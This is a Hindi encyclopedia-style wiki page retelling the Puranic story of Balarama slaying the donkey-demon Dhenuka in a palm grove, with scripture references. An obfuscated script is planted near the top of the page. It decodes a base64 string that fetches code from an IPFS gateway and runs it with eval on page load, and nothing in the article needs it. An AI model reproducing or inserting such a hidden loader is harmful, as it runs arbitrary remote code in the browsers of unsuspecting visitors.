धेनुकासुर वध

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Anand Chauhan (चर्चा | योगदान) द्वारा परिवर्तित १२:४७, २ फ़रवरी २०१० का अवतरण ("धेनुकासुर वध" सुरक्षित कर दिया ([edit=sysop] (indefinite) [move=sysop] (indefinite)))
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

धेनुक / Dhenukasur

बलराम तथा कृष्ण के साथ ब्रज के बच्चे ताड़ के फल खाने ताड़ के वन में गये। बलराम ने पेड़ों से फल गिराए, इससे पूर्व कि बालक उन फलों को खाते, धेनुक नामक असुर ने गदहे के रूप में उन पर आक्रमण किया। दो बार दुलत्तियां सहने के बाद बलराम ने उसे उठाकर पेड़ पर पटक दिया। पेड़ भी टूट गया तथा वह भी मर गया। उसकी इस गति को देखकर उसके भाई-बंधु अनेकों गदहे वहां पहुंचे। बलराम तथा कृष्ण ने सभी को मार डाला।[१]


टीका-टिप्पणी

  1. श्रीमद् भागवत 10 । 15-
    ब्रह्म पुराण, 186 ।-
    विष्णु पुराण, 5-5 ।-
    हरिवंश पुराण, वि0 पर्व, 13 ।